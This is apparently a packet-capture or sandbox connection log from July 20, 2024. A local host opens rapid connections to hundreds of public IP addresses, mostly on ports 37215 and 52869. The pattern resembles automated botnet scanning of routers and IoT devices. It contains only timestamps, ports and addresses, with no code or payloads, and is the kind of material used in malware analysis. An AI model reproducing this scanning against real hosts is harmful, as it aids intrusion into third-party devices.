Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	197.37.56.19
Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	42.124.189.109
Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	41.63.204.221
Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	175.127.227.163
Jul 20, 2024 23:01:03.470165014 CEST	52725	37215	192.168.2.14	157.140.225.255
Jul 20, 2024 23:01:03.470165968 CEST	52725	37215	192.168.2.14	157.35.237.125
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	200.159.126.71
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	98.20.71.159
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	48.200.124.66
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	221.232.156.2
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	157.85.25.154
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	41.42.5.74
Jul 20, 2024 23:01:03.470407009 CEST	52725	37215	192.168.2.14	211.171.110.94
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	197.147.15.112
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	157.69.199.211
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	157.32.53.131
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	197.65.248.102
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	41.32.58.72
Jul 20, 2024 23:01:03.470879078 CEST	52725	37215	192.168.2.14	41.28.196.52
Jul 20, 2024 23:01:03.470880032 CEST	52725	37215	192.168.2.14	157.97.83.71
Jul 20, 2024 23:01:03.470880032 CEST	52725	37215	192.168.2.14	157.200.153.251
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	157.59.173.180
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	199.61.145.35
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	157.28.208.36
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	157.155.48.39
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	157.205.166.142
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	41.234.82.81
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	168.204.135.219
Jul 20, 2024 23:01:03.470951080 CEST	52725	37215	192.168.2.14	41.176.13.97
Jul 20, 2024 23:01:03.470967054 CEST	37215	52725	197.103.42.133	192.168.2.14
Jul 20, 2024 23:01:03.470972061 CEST	37215	52725	157.84.150.154	192.168.2.14
Jul 20, 2024 23:01:03.470980883 CEST	37215	52725	204.86.40.252	192.168.2.14
Jul 20, 2024 23:01:03.470984936 CEST	37215	52725	197.175.37.183	192.168.2.14
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	197.91.36.141
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	157.94.206.239
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	112.118.31.143
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	41.127.244.231
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	157.46.64.49
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	65.171.178.93
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	197.224.197.36
Jul 20, 2024 23:01:03.471643925 CEST	52725	37215	192.168.2.14	197.195.21.87
Jul 20, 2024 23:01:03.471762896 CEST	37215	52725	197.178.140.168	192.168.2.14
Jul 20, 2024 23:01:03.471766949 CEST	37215	52725	18.185.167.223	192.168.2.14
Jul 20, 2024 23:01:03.471776009 CEST	37215	52725	156.148.239.165	192.168.2.14
Jul 20, 2024 23:01:03.471856117 CEST	37215	52725	41.59.243.36	192.168.2.14
Jul 20, 2024 23:01:03.471947908 CEST	37215	52725	97.234.89.166	192.168.2.14
Jul 20, 2024 23:01:03.471957922 CEST	37215	52725	41.10.3.139	192.168.2.14
Jul 20, 2024 23:01:03.471968889 CEST	37215	52725	157.226.43.130	192.168.2.14
Jul 20, 2024 23:01:03.471972942 CEST	37215	52725	41.128.241.73	192.168.2.14
Jul 20, 2024 23:01:03.471982002 CEST	37215	52725	41.67.230.166	192.168.2.14
Jul 20, 2024 23:01:03.472146988 CEST	52725	37215	192.168.2.14	96.50.39.180
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	157.89.201.91
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	157.232.183.8
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	157.156.34.177
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	197.153.78.108
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	197.233.138.129
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	157.156.72.128
Jul 20, 2024 23:01:03.472147942 CEST	52725	37215	192.168.2.14	92.64.109.2
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	197.33.157.33
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	41.221.33.91
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	18.203.170.108
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	125.104.15.142
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	207.29.111.74
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	41.112.21.71
Jul 20, 2024 23:01:03.472356081 CEST	52725	37215	192.168.2.14	157.95.112.138
Jul 20, 2024 23:01:03.472623110 CEST	37215	52725	197.92.37.182	192.168.2.14
Jul 20, 2024 23:01:03.472841024 CEST	37215	52725	157.173.59.248	192.168.2.14
Jul 20, 2024 23:01:03.472845078 CEST	37215	52725	125.4.32.65	192.168.2.14
Jul 20, 2024 23:01:03.472853899 CEST	37215	52725	41.176.52.249	192.168.2.14
Jul 20, 2024 23:01:03.472857952 CEST	37215	52725	117.170.200.63	192.168.2.14
Jul 20, 2024 23:01:03.472867012 CEST	37215	52725	197.145.165.222	192.168.2.14
Jul 20, 2024 23:01:03.472938061 CEST	52725	37215	192.168.2.14	100.131.207.210
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	197.9.74.194
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	157.21.144.252
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	157.7.129.75
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	49.119.133.182
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	41.245.110.189
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	197.103.42.133
Jul 20, 2024 23:01:03.472939014 CEST	52725	37215	192.168.2.14	197.175.37.183
Jul 20, 2024 23:01:03.473038912 CEST	37215	52725	41.71.249.32	192.168.2.14
Jul 20, 2024 23:01:03.473042965 CEST	37215	52725	157.242.91.59	192.168.2.14
Jul 20, 2024 23:01:03.473051071 CEST	37215	52725	157.99.211.107	192.168.2.14
Jul 20, 2024 23:01:03.473532915 CEST	37215	52725	41.60.103.183	192.168.2.14
Jul 20, 2024 23:01:03.473537922 CEST	37215	52725	222.112.36.27	192.168.2.14
Jul 20, 2024 23:01:03.473702908 CEST	37215	52725	197.130.231.11	192.168.2.14
Jul 20, 2024 23:01:03.473814011 CEST	37215	52725	157.185.100.168	192.168.2.14
Jul 20, 2024 23:01:03.474057913 CEST	37215	52725	197.100.42.90	192.168.2.14
Jul 20, 2024 23:01:03.474061966 CEST	37215	52725	217.24.35.60	192.168.2.14
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	197.186.136.100
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	197.56.204.138
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	47.41.98.206
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	41.131.226.159
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	157.146.181.67
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	157.234.118.231
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	108.92.57.223
Jul 20, 2024 23:01:03.474142075 CEST	52725	37215	192.168.2.14	157.135.101.16
Jul 20, 2024 23:01:03.474307060 CEST	37215	52725	41.199.112.223	192.168.2.14
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	49.240.11.144
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	58.195.53.166
Jul 20, 2024 23:01:03.474538088 CEST	47684	80	192.168.2.14	88.197.55.252
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	161.234.199.200
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	41.26.105.139
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	9.1.245.191
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	157.159.57.3
Jul 20, 2024 23:01:03.474538088 CEST	52725	37215	192.168.2.14	157.253.2.101
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	157.231.97.191
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	41.206.151.131
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	197.245.150.186
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	109.237.129.172
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	157.132.3.133
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	157.101.161.185
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	197.74.37.195
Jul 20, 2024 23:01:03.474666119 CEST	52725	37215	192.168.2.14	197.211.130.216
Jul 20, 2024 23:01:03.474857092 CEST	52725	37215	192.168.2.14	41.139.96.255
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	157.29.81.159
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	149.111.221.178
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	41.163.219.39
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	67.242.247.76
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	157.174.72.27
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	197.12.162.172
Jul 20, 2024 23:01:03.474858046 CEST	52725	37215	192.168.2.14	85.249.61.53
Jul 20, 2024 23:01:03.474994898 CEST	37215	52725	41.26.93.154	192.168.2.14
Jul 20, 2024 23:01:03.475001097 CEST	37215	52725	157.40.209.86	192.168.2.14
Jul 20, 2024 23:01:03.475495100 CEST	37215	52725	157.4.255.227	192.168.2.14
Jul 20, 2024 23:01:03.475622892 CEST	52725	37215	192.168.2.14	41.5.49.247
Jul 20, 2024 23:01:03.475622892 CEST	52725	37215	192.168.2.14	157.22.42.117
Jul 20, 2024 23:01:03.475622892 CEST	52725	37215	192.168.2.14	18.185.167.223
Jul 20, 2024 23:01:03.475682974 CEST	52725	37215	192.168.2.14	197.248.165.153
Jul 20, 2024 23:01:03.475682974 CEST	52725	37215	192.168.2.14	157.164.58.12
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	41.213.121.33
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	197.172.21.48
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	157.125.212.107
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	197.226.130.147
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	77.65.52.12
Jul 20, 2024 23:01:03.475683928 CEST	52725	37215	192.168.2.14	197.208.154.119
Jul 20, 2024 23:01:03.476016045 CEST	37215	52725	41.234.78.35	192.168.2.14
Jul 20, 2024 23:01:03.476020098 CEST	37215	52725	157.180.225.158	192.168.2.14
Jul 20, 2024 23:01:03.476030111 CEST	37215	52725	41.151.24.238	192.168.2.14
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	105.210.119.80
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	157.65.23.29
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	197.44.21.237
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	165.96.229.239
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	157.36.75.196
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	41.222.58.112
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	85.25.104.53
Jul 20, 2024 23:01:03.476926088 CEST	52725	37215	192.168.2.14	197.158.177.62
Jul 20, 2024 23:01:03.477006912 CEST	52725	37215	192.168.2.14	197.200.181.146
Jul 20, 2024 23:01:03.477266073 CEST	37215	52725	197.207.13.167	192.168.2.14
Jul 20, 2024 23:01:03.477271080 CEST	37215	52725	197.50.99.150	192.168.2.14
Jul 20, 2024 23:01:03.477361917 CEST	52725	37215	192.168.2.14	41.59.243.36
Jul 20, 2024 23:01:03.477361917 CEST	52725	37215	192.168.2.14	97.234.89.166
Jul 20, 2024 23:01:03.477361917 CEST	52725	37215	192.168.2.14	157.173.59.248
Jul 20, 2024 23:01:03.477363110 CEST	52725	37215	192.168.2.14	197.145.165.222
Jul 20, 2024 23:01:03.477363110 CEST	52725	37215	192.168.2.14	157.185.100.168
Jul 20, 2024 23:01:03.477363110 CEST	52725	37215	192.168.2.14	157.4.255.227
Jul 20, 2024 23:01:03.477363110 CEST	52725	37215	192.168.2.14	157.180.225.158
Jul 20, 2024 23:01:03.477413893 CEST	37215	52725	221.20.1.26	192.168.2.14
Jul 20, 2024 23:01:03.477534056 CEST	37215	52725	205.156.221.195	192.168.2.14
Jul 20, 2024 23:01:03.477694988 CEST	37215	52725	41.244.165.97	192.168.2.14
Jul 20, 2024 23:01:03.478223085 CEST	52725	37215	192.168.2.14	41.181.191.35
Jul 20, 2024 23:01:03.478223085 CEST	52725	37215	192.168.2.14	157.120.40.109
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	41.157.157.252
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	157.44.22.241
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	197.160.7.39
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	197.12.159.55
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	197.140.242.193
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	157.140.241.183
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	134.114.43.200
Jul 20, 2024 23:01:03.478282928 CEST	52725	37215	192.168.2.14	87.194.130.244
Jul 20, 2024 23:01:03.478462934 CEST	37215	52725	157.141.214.119	192.168.2.14
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	157.233.145.134
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	157.40.172.177
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	41.145.104.63
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	41.167.203.181
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	157.60.163.175
Jul 20, 2024 23:01:03.478708029 CEST	52725	37215	192.168.2.14	157.87.213.70
Jul 20, 2024 23:01:03.478708029 CEST	46384	52869	192.168.2.14	172.76.44.174
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	197.29.25.95
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	41.104.226.171
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	204.86.40.252
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	41.128.241.73
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	197.92.37.182
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	117.170.200.63
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	157.99.211.107
Jul 20, 2024 23:01:03.478853941 CEST	52725	37215	192.168.2.14	41.26.93.154
Jul 20, 2024 23:01:03.479100943 CEST	52725	37215	192.168.2.14	41.244.165.97
Jul 20, 2024 23:01:03.479696989 CEST	8081	40742	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:03.479896069 CEST	52725	37215	192.168.2.14	157.86.212.247
Jul 20, 2024 23:01:03.479896069 CEST	52725	37215	192.168.2.14	197.58.85.188
Jul 20, 2024 23:01:03.479896069 CEST	52725	37215	192.168.2.14	73.226.113.9
Jul 20, 2024 23:01:03.479896069 CEST	52725	37215	192.168.2.14	41.102.18.57
Jul 20, 2024 23:01:03.479896069 CEST	52725	37215	192.168.2.14	157.27.100.110
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	157.84.150.154
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	156.148.239.165
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	41.10.3.139
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	41.67.230.166
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	125.4.32.65
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	157.242.91.59
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	41.60.103.183
Jul 20, 2024 23:01:03.480299950 CEST	52725	37215	192.168.2.14	197.130.231.11
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	197.178.140.168
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	157.226.43.130
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	41.176.52.249
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	41.71.249.32
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	222.112.36.27
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	217.24.35.60
Jul 20, 2024 23:01:03.480680943 CEST	52725	37215	192.168.2.14	157.40.209.86
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	197.136.193.143
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	207.12.253.202
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	41.197.206.221
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	197.32.220.2
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	157.62.137.190
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	197.234.163.92
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	117.81.229.141
Jul 20, 2024 23:01:03.480781078 CEST	52725	37215	192.168.2.14	41.234.78.35
Jul 20, 2024 23:01:03.481574059 CEST	52725	37215	192.168.2.14	197.100.42.90
Jul 20, 2024 23:01:03.481574059 CEST	52725	37215	192.168.2.14	41.199.112.223
Jul 20, 2024 23:01:03.481574059 CEST	52725	37215	192.168.2.14	197.50.99.150
Jul 20, 2024 23:01:03.481574059 CEST	52725	37215	192.168.2.14	205.156.221.195
Jul 20, 2024 23:01:03.481574059 CEST	52725	37215	192.168.2.14	157.141.214.119
Jul 20, 2024 23:01:03.482235909 CEST	52725	37215	192.168.2.14	41.151.24.238
Jul 20, 2024 23:01:03.482235909 CEST	52725	37215	192.168.2.14	197.207.13.167
Jul 20, 2024 23:01:03.482235909 CEST	52725	37215	192.168.2.14	221.20.1.26
Jul 20, 2024 23:01:03.482237101 CEST	40742	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.482322931 CEST	43672	80	192.168.2.14	88.132.182.176
Jul 20, 2024 23:01:03.483879089 CEST	33478	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.483879089 CEST	33478	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.484213114 CEST	47986	37215	192.168.2.14	208.162.133.146
Jul 20, 2024 23:01:03.484977961 CEST	47808	52869	192.168.2.14	152.149.61.199
Jul 20, 2024 23:01:03.486260891 CEST	33820	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.487399101 CEST	80	43672	88.132.182.176	192.168.2.14
Jul 20, 2024 23:01:03.489156008 CEST	8081	33478	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:03.489161015 CEST	8081	33478	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:03.489233017 CEST	37215	47986	208.162.133.146	192.168.2.14
Jul 20, 2024 23:01:03.490129948 CEST	52869	47808	152.149.61.199	192.168.2.14
Jul 20, 2024 23:01:03.491560936 CEST	8081	33820	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:03.505935907 CEST	43672	80	192.168.2.14	88.132.182.176
Jul 20, 2024 23:01:03.505935907 CEST	47986	37215	192.168.2.14	208.162.133.146
Jul 20, 2024 23:01:03.511833906 CEST	47808	52869	192.168.2.14	152.149.61.199
Jul 20, 2024 23:01:03.511833906 CEST	33820	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.520539045 CEST	37215	47986	208.162.133.146	192.168.2.14
Jul 20, 2024 23:01:03.523283005 CEST	52869	47808	152.149.61.199	192.168.2.14
Jul 20, 2024 23:01:03.523536921 CEST	8081	33820	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:03.527278900 CEST	47986	37215	192.168.2.14	208.162.133.146
Jul 20, 2024 23:01:03.529043913 CEST	33820	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:03.529043913 CEST	47808	52869	192.168.2.14	152.149.61.199
Jul 20, 2024 23:01:03.812263012 CEST	41774	52869	192.168.2.14	74.231.66.1
Jul 20, 2024 23:01:03.812700987 CEST	48196	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.812700987 CEST	48196	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.813399076 CEST	43336	37215	192.168.2.14	157.39.247.83
Jul 20, 2024 23:01:03.814671040 CEST	48540	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.817431927 CEST	52869	41774	74.231.66.1	192.168.2.14
Jul 20, 2024 23:01:03.818218946 CEST	8081	48196	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:03.818509102 CEST	8081	48196	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:03.818778038 CEST	37215	43336	157.39.247.83	192.168.2.14
Jul 20, 2024 23:01:03.818820000 CEST	41774	52869	192.168.2.14	74.231.66.1
Jul 20, 2024 23:01:03.819163084 CEST	43336	37215	192.168.2.14	157.39.247.83
Jul 20, 2024 23:01:03.819163084 CEST	43888	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.819163084 CEST	43888	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.819581985 CEST	8081	48540	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:03.819643974 CEST	48540	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.820007086 CEST	36686	80	192.168.2.14	88.213.148.120
Jul 20, 2024 23:01:03.821201086 CEST	50718	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:03.822748899 CEST	56030	37215	192.168.2.14	212.61.76.50
Jul 20, 2024 23:01:03.824129105 CEST	8081	43888	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:03.824136972 CEST	8081	43888	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:03.825072050 CEST	80	36686	88.213.148.120	192.168.2.14
Jul 20, 2024 23:01:03.825439930 CEST	37215	43336	157.39.247.83	192.168.2.14
Jul 20, 2024 23:01:03.826209068 CEST	8081	48540	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:03.827121973 CEST	36686	80	192.168.2.14	88.213.148.120
Jul 20, 2024 23:01:03.827646017 CEST	37215	56030	212.61.76.50	192.168.2.14
Jul 20, 2024 23:01:03.827939034 CEST	56030	37215	192.168.2.14	212.61.76.50
Jul 20, 2024 23:01:03.829034090 CEST	43336	37215	192.168.2.14	157.39.247.83
Jul 20, 2024 23:01:03.830185890 CEST	52869	50718	222.15.221.37	192.168.2.14
Jul 20, 2024 23:01:03.830205917 CEST	48540	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:03.831532955 CEST	50718	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:03.832376957 CEST	44250	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:03.833261013 CEST	80	36686	88.213.148.120	192.168.2.14
Jul 20, 2024 23:01:03.833266020 CEST	37215	56030	212.61.76.50	192.168.2.14
Jul 20, 2024 23:01:03.834779978 CEST	54762	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:03.836726904 CEST	35388	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.836726904 CEST	35388	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.837197065 CEST	52869	44250	47.67.168.49	192.168.2.14
Jul 20, 2024 23:01:03.837373018 CEST	44250	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:03.837555885 CEST	55268	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.837555885 CEST	55268	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.837796926 CEST	56876	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:03.838187933 CEST	36686	80	192.168.2.14	88.213.148.120
Jul 20, 2024 23:01:03.838238955 CEST	56030	37215	192.168.2.14	212.61.76.50
Jul 20, 2024 23:01:03.838363886 CEST	52869	50718	222.15.221.37	192.168.2.14
Jul 20, 2024 23:01:03.838803053 CEST	41068	80	192.168.2.14	88.190.124.179
Jul 20, 2024 23:01:03.839854956 CEST	37215	54762	41.135.123.11	192.168.2.14
Jul 20, 2024 23:01:03.841937065 CEST	8081	35388	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:03.841939926 CEST	8081	35388	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:03.842392921 CEST	54762	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:03.842473030 CEST	8081	55268	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:03.842633963 CEST	52869	44250	47.67.168.49	192.168.2.14
Jul 20, 2024 23:01:03.842883110 CEST	8081	55268	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:03.842888117 CEST	52869	56876	115.118.201.201	192.168.2.14
Jul 20, 2024 23:01:03.843839884 CEST	56876	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:03.844432116 CEST	38412	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:03.846503019 CEST	55616	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.846582890 CEST	80	41068	88.190.124.179	192.168.2.14
Jul 20, 2024 23:01:03.848088980 CEST	37215	54762	41.135.123.11	192.168.2.14
Jul 20, 2024 23:01:03.850260019 CEST	2466	38412	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:03.851239920 CEST	52869	56876	115.118.201.201	192.168.2.14
Jul 20, 2024 23:01:03.851686954 CEST	8081	55616	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:03.870620012 CEST	44234	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:03.870620012 CEST	54890	80	192.168.2.14	88.125.66.213
Jul 20, 2024 23:01:03.870620012 CEST	54410	37215	192.168.2.14	197.1.252.213
Jul 20, 2024 23:01:03.878098011 CEST	50718	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:03.879213095 CEST	41068	80	192.168.2.14	88.190.124.179
Jul 20, 2024 23:01:03.882590055 CEST	35734	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:03.882590055 CEST	46316	80	192.168.2.14	88.138.103.241
Jul 20, 2024 23:01:03.886012077 CEST	55616	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:03.890324116 CEST	38412	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:03.894706964 CEST	56876	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:03.897197962 CEST	44250	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:03.897197962 CEST	54762	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:03.919058084 CEST	51568	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.919120073 CEST	45600	80	192.168.2.14	88.28.50.53
Jul 20, 2024 23:01:03.921909094 CEST	33246	37215	192.168.2.14	157.166.67.79
Jul 20, 2024 23:01:03.923104048 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.923104048 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.923523903 CEST	38412	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:03.923911095 CEST	48580	52869	192.168.2.14	167.60.40.217
